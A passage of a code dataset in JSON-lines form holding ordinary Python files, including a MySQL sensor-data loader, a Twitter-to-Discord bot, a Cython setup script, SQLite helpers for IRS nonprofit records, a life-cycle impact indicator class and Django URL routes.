124, "usage_type": "attribute"}, {"api_name": "numpy.random.random_integers", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 125, "usage_type": "attribute"}, {"api_name": "numpy.power", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.random.random_integers", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 126, "usage_type": "attribute"}, {"api_name": "numpy.float_power", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.random.random_integers", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 127, "usage_type": "attribute"}, {"api_name": "numpy.float_power", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.random.random_integers", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 128, "usage_type": "attribute"}, {"api_name": "numpy.float_power", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.float_power", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.random.random_integers", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 137, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 144, "usage_type": "call"}, {"api_name": "classify_general.Classifier", "line_number": 148, "usage_type": "call"}, {"api_name": "time.time", "line_number": 149, "usage_type": "call"}, {"api_name": "time.time", "line_number": 153, "usage_type": "call"}, {"api_name": "time.time", "line_number": 155, "usage_type": "call"}]} +{"seq_id": "591812269", "text": "import mysql.connector \nfrom mysql.connector import Error\nimport os\nfrom datetime import datetime \nimport json\n\ndef collect(): \n\twith open('sample_sensor_values.json', 'r') as json_file: \n\t\tdata = json_file.read() \n\n\tjson_vals = json.loads(data)\n\t\n\tx = mysql.connector.connect( \n\tuser=os.environ['db_username'], \n\thost=os.environ['db_host'], \n\tpasswd=os.environ['db_password'], \n\tdatabase='mydb'\n\t)\n\n\tmycursor = x.cursor()\n\n\tfor ts in json_vals: \n\t\tsensor_bank = []\n\t\ttimestamp = json_vals.get(ts)\n\n\t\tsensor_bank.append(ts)\n\t\tfor sensor_name in timestamp: \n\t\t\tif sensor_name in ('mcp00', 'mcp01', 'mcp02', 'mcp07', 'soilTemp', 'airTemp', 'humidity'):\n\t\t\t\tsensor_bank.append(timestamp.get(sensor_name))\n\t\t# print(sensor_bank[1])\n\t\tsql = (\"\"\"INSERT INTO sensor_val (timer, moisture1, moisture2, moisture3, water_level, soiltemp1, air_temp, air_humid) VALUES (%s, %s, %s, %s, %s, %s, %s, %s ) \"\"\")\n\t\t\n\t\ttuple1 = (sensor_bank[0], sensor_bank[1], sensor_bank[2], sensor_bank[3], sensor_bank[4], sensor_bank[5], sensor_bank[6], sensor_bank[7])\n\t\tprint(sensor_bank)\n\t\tmycursor.execute(sql, tuple1)\n\t\tx.commit()\n\t\t# print(mycursor.rowcount, \"record inserted\")\n\n\tx.close()\n\ncollect()\n", "sub_path": "src/server/database_connect.py", "file_name": "database_connect.py", "file_ext": "py", "file_size_in_byte": 1175, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "json.loads", "line_number": 11, "usage_type": "call"}, {"api_name": "mysql.connector.connector.connect", "line_number": 13, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 13, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 13, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}]} +{"seq_id": "569155664", "text": "import base64\nimport sys\n\nimport tweepy\nfrom discordwebhook import Discord\n\nfrom config import ConfigForUseTwitterAPI\nfrom functions import _setAuth, _setRequest, _setResponce\nfrom my_dataclasses import Tweet, Secrets\n\n\ndef tweets_with_keyword(keyword: str, maxTweets: int, secrets: Secrets):\n config_for_use_twitter_api = ConfigForUseTwitterAPI(secrets)\n api_auth_info = config_for_use_twitter_api._api_auth_info()\n auth = tweepy.OAuthHandler(api_auth_info.api_key, api_auth_info.api_secret)\n auth.set_access_token(api_auth_info.access_token, api_auth_info.access_token_secret)\n api = tweepy.API(auth)\n\n tweets_data = []\n for tweet in tweepy.Cursor(\n api.search,\n q=keyword + \"-filter:retweets\",\n include_entities=True,\n tweet_mode=\"extended\",\n lang=\"ja\",\n result_type=\"recent\",\n ).items(maxTweets):\n\n if tweet.entities[\"urls\"] != []:\n add_tweet = Tweet(\n user_name=tweet.user.screen_name,\n tweet_text=tweet.full_text,\n created_at=tweet.created_at,\n favorite=tweet.favorite_count,\n retw=tweet.retweet_count,\n url=tweet.entities[\"urls\"][0][\"expanded_url\"],\n )\n tweets_data.append(add_tweet)\n\n return tweets_data\n\n\nif __name__ == \"__main__\":\n args = sys.argv\n\n secrets = Secrets(\n webhook_url=\"{}\".format(args[1]),\n api_key=\"{}\".format(args[2]),\n api_secret=\"{}\".format(args[3]),\n access_token=\"{}\".format(args[4]),\n access_token_secret=\"{}\".format(args[5]),\n resource_url=\"https://api.twitter.com/1.1/statuses/user_timeline.json\",\n )\n\n webhook_url = str(base64.b64decode(secrets.webhook_url))[2:-1]\n discord = Discord(url=webhook_url)\n keyword = \"機械学習\"\n\n data = tweets_with_keyword(keyword, 100, secrets)\n sorted_data = sorted(data, reverse=True, key=lambda x: x.favorite)\n push_data = [ps for ps in sorted_data if ps.favorite >= 5]\n\n for d in push_data:\n if d is not None:\n content = (\n f\"=======================================================================================\\n\"\n + f\"user_name: {d.user_name}\\n\"\n + f\"created_at: {d.created_at}\\n\"\n + f\"favo: {d.favorite}\\n\" # ツイートのいいね数\n + f\"retw: {d.retw}\\n\" # ツイートのリツイート数\n + f\"text: {d.tweet_text}\" # ツイート内容\n )\n discord.post(content=content)\n\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2560, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "my_dataclasses.Secrets", "line_number": 12, "usage_type": "name"}, {"api_name": "config.ConfigForUseTwitterAPI", "line_number": 13, "usage_type": "call"}, {"api_name": "tweepy.OAuthHandler", "line_number": 15, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 17, "usage_type": "call"}, {"api_name": "tweepy.Cursor", "line_number": 20, "usage_type": "call"}, {"api_name": "my_dataclasses.Tweet", "line_number": 30, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 44, "usage_type": "attribute"}, {"api_name": "my_dataclasses.Secrets", "line_number": 46, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 55, "usage_type": "call"}, {"api_name": "discordwebhook.Discord", "line_number": 56, "usage_type": "call"}]} +{"seq_id": "400270644", "text": "try:\n from setuptools import find_packages\n from setuptools import setup\n from setuptools import Extension\n \nexcept ImportError:\n from distutils.core import setup\n from distutils.extension import Extension\n \nfrom Cython.Distutils import build_ext\nfrom Cython.Build import cythonize\n\nimport sysconfig\nimport os\n\n# Call cythonize in advance so a single module can be compiled from a single Cython\n# file along with other C++ files.\nimport numpy as np\n\n\nwith open('README.md','r') as f:\n long_description = f.read()\n\n#sources = ['ssa_translation.pyx','ssa_translation_c_w.cpp','ssa_translation_lowmem.pyx','ssa_translation_c_w_lowmem.cpp','ssa_translation_lowmem_leaky.pyx','ssa_translation_c_w_lowmem_leaky.cpp','ssa_translation_lowmem_nostats.pyx','ssa_translation_c_w_lowmem_nostats.cpp','ssa_translation_lowmem_leaky_nostats.pyx','ssa_translation_c_w_lowmem_leaky_nostats.cpp','ssa_translation_lowmem_bursting.pyx','ssa_translation_c_w_lowmem_bursting.cpp']\nsources = ['ssa_translation_c_w_full.cpp','ssa_translation_lowmem.pyx','ssa_translation_c_w_lowmem.cpp']\n\ncythonize('*.pyx', language='c++')\n\n\nif not sysconfig.get_config_var('LIBS'):\n libs = sysconfig.get_config_var('LIBS')\nelse:\n libs = []\n\n#try:\n#\n# setup(name='SSA',ext_modules=[Extension('ssa_translation', sources, language='c++',include_dirs = ['/usr/local/include','/Library/Developer/CommandLineTools/usr/bin','/anaconda/lib/python3.6/site-packages/numpy/core/include','/anaconda/lib/python2.7/site-packages/numpy/core/include','/anaconda/lib/python3.6/site-packages/numpy/core/include',np.get_include(),'.',os.getcwd()])],cmdclass = {'build_ext': build_ext})\n#except:\n# setup(name='SSA',ext_modules=cythonize([Extension('ssa_translation', sources,language='c++',extra_compile_args=[ \"-stdlib=libc++\"], include_dirs = ['usr/include','/usr/local/include','/Library/Developer/CommandLineTools/usr/bin','/anaconda/lib/python3.6/site-packages/numpy/core/include',np.get_include(),'.',os.getcwd()])]),cmdclass = {'build_ext': build_ext})\n#\n\nclass DependencyError(Exception):\n pass\n\ntry:\n packages=find_packages()\nexcept:\n pass\n\ntry:\n eca = sysconfig.get_config_var('CPPFLAGS').split()\nexcept:\n eca = []\n \n# Try to find eigen directory if possible\ninclude_list = [sysconfig.get_paths()['include'],np.get_include(),'.', os.getcwd()]\n\nenv_location = sysconfig.get_config_vars()['prefix']\npotential_eigens = []\nfor root, dirs, files in os.walk(env_location):\n for folder in dirs:\n if 'eigen3' in folder:\n potential_eigens.append(os.path.join(root, folder))\n\nif len(potential_eigens) > 0:\n include_list.append(potential_eigens[0])\nelse:\n raise DependencyError(\"Cannot find Eigen installed on enviroment, please conda install eigen or provide a path to eigen with the setup command: python setup.py build_ext --inplace -I[path to eigen, no space after I, no brackets]\")\n\n\n \nsetup(name='translation_ssa_cpp',\n ext_modules=[Extension('ssa_translation_lowmem', \n sources, language='c++',\n include_dirs = include_list ,\n library_dirs = libs,\n extra_compile_args= eca)]\n ,cmdclass = {'build_ext': build_ext}\n ,author='William Raymond'\n ,description= 'mRNA translation Stochastic Simulation Algorithm (SSA) for the rSNAPsim module.'\n ,version = \"0.0.1b0\"\n ,long_description = long_description\n ,long_description_content_type='text/markdown'\n ,url = 'https://github.com/MunskyGroup/rSNAPsim'\n ,install_requires = ['numpy>=1.19.2',\"Cython>=0.29.21\"]\n ,packages=packages\n \n )\n\n\n", "sub_path": "build/lib/rsnapsim/ssa_cpp/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 3619, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "Cython.Build.cythonize", "line_number": 27, "usage_type": "call"}, {"api_name": "sysconfig.get_config_var", "line_number": 30, "usage_type": "call"}, {"api_name": "sysconfig.get_config_var", "line_number": 31, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 46, "usage_type": "call"}, {"api_name": "sysconfig.get_config_var", "line_number": 51, "usage_type": "call"}, {"api_name": "sysconfig.get_paths", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.get_include", "line_number": 56, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 56, "usage_type": "call"}, {"api_name": "sysconfig.get_config_vars", "line_number": 58, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "distutils.core.setup", "line_number": 72, "usage_type": "call"}, {"api_name": "distutils.extension.Extension", "line_number": 73, "usage_type": "call"}, {"api_name": "Cython.Distutils.build_ext", "line_number": 78, "usage_type": "name"}]} +{"seq_id": "411582693", "text": "import urllib2\nimport json\nqodURL = \"http://quotes.rest/qod.json\"\nclass QOD():\n def getQuote(self):\n webURL = urllib2.urlopen(qodURL)\n resultString = \"The quote of the day is: \"\n if webURL.getcode() == 200:\n data = webURL.read()\n result = json.loads(data)\n resultString += result['contents']['quotes'][0]['quote']\n resultString += \" Quote by \" + result['contents']['quotes'][0]['author']\n return resultString\n else:\n return \"There was an error with the API call.\"\n", "sub_path": "qod.py", "file_name": "qod.py", "file_ext": "py", "file_size_in_byte": 561, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "urllib2.urlopen", "line_number": 6, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "345468730", "text": "'''\n***** FUNCTIONS TO ACCESS / EDIT IRS SQLITE3 DATABASE *******\nThe following functions are used by create_database.py.\n'''\nimport sqlite3\n\nZIP_TABLES = ['postcard_forms', 'irs_revocations', 'nine_nineties', 'pub_seven_data']\n\ndef get_location(db, nonprofit_name, ein_search=False):\n '''\n Connects to database and returns data on a given nonprofit.\n '''\n with sqlite3.connect(db) as conn:\n conn.create_function('clean_zip', 1, clean_zip_codes)\n conn.row_factory = sqlite3.Row\n c = conn.cursor()\n #c.execute(\"SELECT * FROM \", nonprofit)\n # Put in a while loop here to search through more than one table?\n for table in ZIP_TABLES:\n query = \"SELECT \" + get_nonprofit_query(table) + \" FROM \" + table + \" WHERE \" + get_query_conditional(None, ein_search, False) + \" COLLATE NOCASE;\"\n\n r = c.execute(query, (nonprofit_name, ))\n\n attributes = get_header(r)\n results = r.fetchall()\n info = [dict(row) for row in results]\n\n if results:\n n = c.execute(\"SELECT COUNT(*) FROM \" + table + \" WHERE \" + get_query_conditional(table, False, True), get_query_count(table, info[0]))\n count = n.fetchall()\n # print(\"database_functions.get_location.count:\", count)\n return (info, count[0][0])\n return (None, None)\n \ndef get_nonprofit_query(table):\n '''\n Organizes fields to return based on table.\n '''\n if table == 'postcard_forms':\n return ', '.join(['EIN', 'org_name', 'website', 'city', 'state', 'clean_zip(zip)'])\n\n elif table == 'irs_revocations':\n return ', '.join(['EIN', 'org_name', 'city', 'state', 'clean_zip(zip)'])\n\n elif table == 'nine_nineties':\n return '*'\n \n elif table == 'pub_seven_data':\n return ', '.join(['EIN', 'org_name', 'city', 'state',\n 'deductibility_status_code'])\n\ndef get_query_conditional(table, ein_search, count):\n '''\n Creates condition based on search type(by name or EIN) or count.\n '''\n if count:\n if table != 'pub_seven_data':\n return \"zip = (?);\"\n else:\n return \"city = (?) AND state = (?)\"\n\n if ein_search:\n return 'EIN = (?)'\n else:\n return 'org_name = (?)'\n\ndef get_query_count(table, info):\n '''\n Return different geographic information for count search depending on table type.\n '''\n if table == 'pub_seven_data':\n \treturn (info['city'], info['state'])\n elif table == \"nine_nineties\":\n \treturn(info['zip'], )\n else:\n return (info['clean_zip(zip)'], )\n\n\ndef clean_zip_codes(zip_code):\n '''\n` Given a extended zip code, trims it and returns the 5 digit version\n as a string to pipe to census query.\n '''\n return str(zip_code)[:5]\n\n\ndef get_header(cursor):\n '''\n *** CREDIT TO CAPP 30122 PA #2 ***\n Given a cursor object, returns the appropriate header (column names)\n '''\n header = []\n\n for i in cursor.description:\n s = i[0]\n if \".\" in s:\n s = s[s.find(\".\")+1:]\n header.append(s)\n\n return header", "sub_path": "project/database_functions.py", "file_name": "database_functions.py", "file_ext": "py", "file_size_in_byte": 3156, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sqlite3.connect", "line_number": 13, "usage_type": "call"}, {"api_name": "sqlite3.Row", "line_number": 15, "usage_type": "attribute"}]} +{"seq_id": "338654827", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\nQSDsan: Quantitative Sustainable Design for sanitation and resource recovery systems\n\nThis module is developed by:\n Yalin Li \n\nThis module is under the University of Illinois/NCSA Open Source License.\nPlease refer to https://github.com/QSD-Group/QSDsan/blob/main/LICENSE.txt\nfor license details.\n'''\n\n\n# %%\n\nfrom warnings import warn\nfrom thermosteam.utils import registered\nfrom .utils import parse_unit, load_data\n\n__all__ = ('ImpactIndicator', )\n\n\n@registered(ticket_name='ind')\nclass ImpactIndicator:\n '''\n To handle different impact indicators in life cycle assessment.\n\n Parameters\n ----------\n ID : str\n ID of this impact indicator.\n alias : str\n Alternative ID of this impact indicator.\n\n .. note::\n\n \"synonym\" was used bfore v0.2.2 it is still supported, but may be\n removed in the future.\n\n method : str\n Impact assessment method, e.g., 'TRACI'.\n category : str\n Category of this impact indicator, e.g., 'human health'.\n unit : str\n Unit of this impact indicator, e.g., 'kg CO2-eq'.\n description : str\n Supplementary explanation.\n\n Examples\n --------\n Make an impact indicator for global warming potential.\n\n >>> import qsdsan as qs\n >>> GWP = qs.ImpactIndicator('GlobalWarming', method='TRACI',\n ... category='environmental impact',\n ... unit='kg CO2-eq',\n ... description='Effect of climate change measured as \\\n ... global warming potential.')\n\n See relevant information.\n\n >>> GWP.show()\n ImpactIndicator: GlobalWarming as kg CO2-eq\n Alias : None\n Method : TRACI\n Category : environmental impact\n Description: Effect of climate change ...\n >>> # Add an alias\n >>> GWP.alias = 'GWP'\n >>> GWP.show()\n ImpactIndicator: GlobalWarming as kg CO2-eq\n Alias : GWP\n Method : TRACI\n Category : environmental impact\n Description: Effect of climate change ...\n >>> # Add another impact indicator\n >>> FEC = qs.ImpactIndicator('FossilEnergyConsumption', alias='FEC', unit='MJ')\n >>> # Get all impact indicators\n >>> qs.ImpactIndicator.get_all_indicators()\n {'GlobalWarming': ,\n 'FossilEnergyConsumption': }\n\n Manage the registry.\n\n >>> GWP.deregister()\n The impact indicator \"GlobalWarming\" has been removed from the registry.\n >>> qs.ImpactIndicator.get_all_indicators()\n {'FossilEnergyConsumption': }\n >>> GWP.register()\n The impact indicator \"GlobalWarming\" has been added to the registry.\n >>> qs.ImpactIndicator.get_all_indicators()\n {'FossilEnergyConsumption': ,\n 'GlobalWarming': }\n >>> qs.ImpactIndicator.clear_registry()\n All impact indicators have been removed from registry.\n >>> qs.ImpactIndicator.get_all_indicators()\n {}\n '''\n\n __slots__ = ('_ID', '_alias', '_method', '_category', '_unit', '_ureg_unit',\n '_unit_remaining', '_description')\n\n def __init__(self, ID='', alias='', method='', category='', unit='', description='',\n **kwargs):\n\n self._register(ID)\n self.alias = alias\n\n self._unit = str(unit)\n self._ureg_unit, self._unit_remaining = parse_unit(unit)\n self._method = method\n self._category = category\n self._description = description\n\n if 'synonym' in kwargs.keys():\n synonym = kwargs['synonym']\n if (not alias or str(alias)=='nan'):\n raise DeprecationWarning('`synonym` has been changed to `alias` for qsdsan v0.2.2 and above.')\n alias = synonym\n else:\n raise DeprecationWarning('`synonym` has been changed to `alias` for qsdsan v0.2.2 and above, ' \\\n f'the given `synonym` \"{synonym}\" is ignored as `alias` \"{alias}\" is provided.')\n\n\n def __repr__(self):\n return f''\n\n def show(self):\n '''Show basic information about this impact indicator.'''\n if self.unit:\n info = f'ImpactIndicator: {self.ID} as {self.unit}'\n else:\n info = f'ImpactIndicator: {self.ID}'\n\n alias = self.alias if self.alias else 'None'\n line = f'\\n Alias : {alias}'\n if len(line) > 40: line = line[:40] + '...'\n info += line\n\n info += f'\\n Method : {self.method or None}'\n info += f'\\n Category : {self.category or None}'\n line = f'\\n Description: {self.description or None}'\n if len(line) > 40: line = line[:40] + '...'\n info += line\n\n print(info)\n\n _ipython_display_ = show\n\n\n def register(self):\n '''Add this impact indicator to the registry.'''\n self.registry.register_safely(self.ID, self)\n print(f'The impact indicator \"{self.ID}\" has been added to the registry.')\n\n def deregister(self):\n '''Remove this impact indicator from the registry.'''\n self.registry.discard(self.ID)\n print(f'The impact indicator \"{self.ID}\" has been removed from the registry.')\n\n\n @classmethod\n def clear_registry(cls):\n '''Remove all existing impact indicators from the registry.'''\n cls.registry.clear()\n print('All impact indicators have been removed from registry.')\n\n @classmethod\n def get_all_indicators(cls, include_alias=False):\n '''\n Get all defined impact indicator as a dict.\n\n Parameters\n ----------\n include_alias : bool\n If True, aliases will be included as keys in the dict as well.\n '''\n\n if not include_alias:\n return cls.registry.data\n\n else:\n dct = cls.registry.data.copy()\n dct.update(cls._get_alias_dct())\n return dct\n\n @classmethod\n def get_indicator(cls, ID_or_alias):\n '''Get an impact indicator by its ID or alias.'''\n dct = cls.get_all_indicators(True)\n return dct.get(ID_or_alias)\n\n @classmethod\n def load_indicators_from_file(cls, path_or_dict, index_col=None):\n '''Same as :func:`load_from_file`, has been deprecated.'''\n warn('`load_indicators_from_file` has been deprecated, '\n 'please use `load_from_file` instead.', stacklevel=2)\n cls.load_from_excel(path_or_dict, index_col)\n\n @classmethod\n def load_from_file(cls, path_or_df, index_col=None):\n '''\n Load impact indicator from a datasheet.\n\n The first row of this datasheet should have \"indicator\"\n (it is used as the ID, e.g., GlobalWarming),\n \"alias\" (e.g., GWP), \"unit\" (e.g., kg CO2-eq), \"method\" (e.g., TRACI),\n \"category\" (e.g., environmental impact), and \"description\".\n Aside from \"indicator\", other information is optional.\n\n Each row should be a data entry.\n\n .. note::\n\n This function is just one way to batch-load impact indicators,\n you can always write your own function that fits your datasheet format,\n as long as it provides all the information to construct the impact indicator.\n\n\n Parameters\n ----------\n path_or_df : str or :class:`pandas.DataFrame`\n DataFrame or complete path of the datasheet, currently support tsv, csv, and xls/xlsx.\n index_col : None or int\n Index column of the :class:`pandas.DataFrame`.\n\n Tip\n ---\n [1] tsv is preferred as it shows up on GitHub.\n\n [2] Refer to the `Bwaise system `_\n in the `Exposan` repository for a sample file.\n '''\n\n data = load_data(path=path_or_df, index_col=index_col) if isinstance(path_or_df, str) else path_or_df\n\n for num in data.index:\n new = cls.__new__(cls)\n kwargs = {}\n for k in ('alias', 'unit', 'method', 'category', 'description'):\n try:\n kwargs[k] = data.iloc[num][k]\n except KeyError:\n kwargs[k] = ''\n\n new.__init__(ID=data.iloc[num]['indicator'], **kwargs)\n\n @classmethod\n def _get_alias_dct(cls):\n dct = {}\n for i in cls.registry.data.values():\n if i.alias:\n dct[i.alias] = i\n return dct\n\n @property\n def ID(self):\n '''[str] ID of this impact indicator.'''\n return self._ID\n @ID.setter\n def ID(self, ID):\n self._ID = ID\n\n @property\n def alias(self):\n '''[str] Alias of this impact indicator.'''\n if not hasattr(self, '_alias'): # for initiation\n self._alias = None\n return self._alias\n @alias.setter\n def alias(self, alias):\n alias = None if str(alias) == 'nan' else alias\n alias_dct = self._get_alias_dct()\n\n if alias:\n if not isinstance(alias, str):\n raise TypeError(f'`alias` can only be a str, not {type(alias).__name__}.')\n\n if alias in alias_dct.keys():\n old_ind = alias_dct[alias]\n if old_ind.ID != self.ID:\n warn(f'The alias \"{alias}\" is now being used for \"{self.ID}\", ' \\\n f'instead of {old_ind.ID}.')\n old_ind._alias = None\n self._alias = alias\n\n else:\n self._alias = None\n\n @property\n def unit(self):\n '''[str] Unit of this impact indicator.'''\n return self._unit\n @unit.setter\n def unit(self, i):\n self._unit = str(i)\n self._ureg_unit, self._unit_remaining = parse_unit(i)\n\n @property\n def method(self):\n '''[str] Impact assessment method of this impact indicator.'''\n return self._method\n @method.setter\n def method(self, i):\n self._method = i\n\n @property\n def category(self):\n '''[str] Impact category of this impact indicator.'''\n return self._category\n @category.setter\n def category(self, i):\n self._category = i\n\n @property\n def description(self):\n '''[str] Description of this impact indicator.'''\n return self._description\n @description.setter\n def description(self, i):\n self._description = i\n\n @property\n def registered(self):\n '''[bool] If this impact indicator is registered in the record.'''\n data = self.registry.data.get(self.ID)\n return True if data else False", "sub_path": "qsdsan/_impact_indicator.py", "file_name": "_impact_indicator.py", "file_ext": "py", "file_size_in_byte": 10792, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "utils.parse_unit", "line_number": 112, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 198, "usage_type": "call"}, {"api_name": "utils.load_data", "line_number": 237, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 284, "usage_type": "call"}, {"api_name": "utils.parse_unit", "line_number": 299, "usage_type": "call"}, {"api_name": "thermosteam.utils.registered", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "616550839", "text": "#!/usr/bin/env python3\n# https://leetcode.com/problems/binary-tree-preorder-traversal/\n\nimport unittest\nfrom typing import List, Optional\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def __preorderTraversal(self, root, result):\n if root is None:\n return\n result.append(root.val)\n self.__preorderTraversal(root.left, result)\n self.__preorderTraversal(root.right, result)\n\n def preorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n result: List[int] = []\n self.__preorderTraversal(root, result)\n return result\n\n\nclass TestCode(unittest.TestCase):\n def test_example(self):\n node1 = TreeNode(1)\n node2 = TreeNode(2)\n node3 = TreeNode(3)\n node1.right = node2\n node2.left = node3\n result = Solution().preorderTraversal(node1)\n expected = [1, 2, 3]\n for i, _ in enumerate(expected):\n self.assertEqual(expected[i], result[i])\n", "sub_path": "algorithms/code/leetcode/lc144_binary_tree_preorder_traversal/lc144_binary_tree_preorder_traversal.py", "file_name": "lc144_binary_tree_preorder_traversal.py", "file_ext": "py", "file_size_in_byte": 1086, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "typing.Optional", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 23, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 29, "usage_type": "attribute"}]} +{"seq_id": "358105487", "text": "from django.conf.urls import patterns, include, url\nfrom django.conf import settings\nfrom django.contrib import admin\nfrom ahm_system.views import dashboard\nfrom .views import (\n login, \n add_patient,\n add_patient_save,\n search_patient,\n generateDischargeSummaryForm,\n addDoctorOrder,\n save_docorder,\n updatePatientDoctorOrder,\n modifyPatientDoctorOrder,\n addPhysicalExam,\n savePhysicalExam,\n update_physical_exam,\n update_patient_info,\n search_inPatient,\n admit_patient,\n save_admission_info,\n view_admitted_patient,\n room_reserve,\n get_patient_admission_info_history,\n check_ifexist,\n get_notadmitted_patient,\n admitted_reports,\n genHospitaltID,\n check_names #elms hospital id auto gen\n # update_patient_form\n # get_inpatient,\n)\n'''\nchanged get_admitted_patient to get_notadmitted_patient\n'''\nurlpatterns = [\n # Examples:\n # url(r'^$', 'ahm_system.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'admission-reports$', admitted_reports), \n url(r'generate_hospital_id', genHospitaltID), #elms hospital id auto gen\n url(r'modify_patient_info/$', update_patient_info),\n url(r'get_notadmitted?', get_notadmitted_patient),\n url(r'search_inPatient?', search_inPatient),\n url(r'patient_info/(?P\\d+)/?', get_patient_admission_info_history),\n url(r'room_reservation$', room_reserve),\n url(r'admitted-patients$', view_admitted_patient),\n url(r'check_ifexist?', check_ifexist),\n url(r'check_names?', check_names),\n url(r'save_admission/$', save_admission_info),\n url(r'admit/(?P\\d+)/?$', admit_patient),\n url(r'admit-patient$', admit_patient),\n\n url(r'update_patient/(?P\\w+)/?', update_patient_info),\n \n \n url(r'modify-physexam/$', update_physical_exam),\n url(r'update-physexam/(?P\\d+)/?$', update_physical_exam),\n url(r'save-physicalexam/$', savePhysicalExam),\n url(r'add-physicalexam/(?P\\d+)/?$', addPhysicalExam),\n url(r'update-docorder/(?P\\d+)/?$', updatePatientDoctorOrder),\n url(r'modify_docorder/$', modifyPatientDoctorOrder),\n url(r'save_docorder/$', save_docorder),\n url(r'add-doctor/(?P\\d+)/?$', addDoctorOrder),\n\n # url(r'admitted-patients$', view_admitted_patient),\n # url(r'patient/?', getInPatientInfo),\n \n \n \n url(r'save/$', add_patient_save),\n url(r'add_patient$', add_patient),\n url(r'search_patients', search_patient),\n url(r'discharge_summary$', generateDischargeSummaryForm),\n\turl(r'^', login), \t\n]\n", "sub_path": "admission/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2760, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.conf.urls.url", "line_number": 41, "usage_type": "call"}, {"api_name": "views.admitted_reports", "line_number": 41, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 42, "usage_type": "call"}, {"api_name": "views.genHospitaltID", "line_number": 42, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 43, "usage_type": "call"}, {"api_name": "views.update_patient_info", "line_number": 43, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 44, "usage_type": "call"}, {"api_name": "views.get_notadmitted_patient", "line_number": 44, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 45, "usage_type": "call"}, {"api_name": "views.search_inPatient", "line_number": 45, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 46, "usage_type": "call"}, {"api_name": "views.get_patient_admission_info_history", "line_number": 46, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 47, "usage_type": "call"}, {"api_name": "views.room_reserve", "line_number": 47, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 48, "usage_type": "call"}, {"api_name": "views.view_admitted_patient", "line_number": 48, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 49, "usage_type": "call"}, {"api_name": "views.check_ifexist", "line_number": 49, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 50, "usage_type": "call"}, {"api_name": "views.check_names", "line_number": 50, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 51, "usage_type": "call"}, {"api_name": "views.save_admission_info", "line_number": 51, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 52, "usage_type": "call"}, {"api_name": "views.admit_patient", "line_number": 52, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 53, "usage_type": "call"}, {"api_name": "views.admit_patient", "line_number": 53, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 55, "usage_type": "call"}, {"api_name": "views.update_patient_info", "line_number": 55, "usage_type": 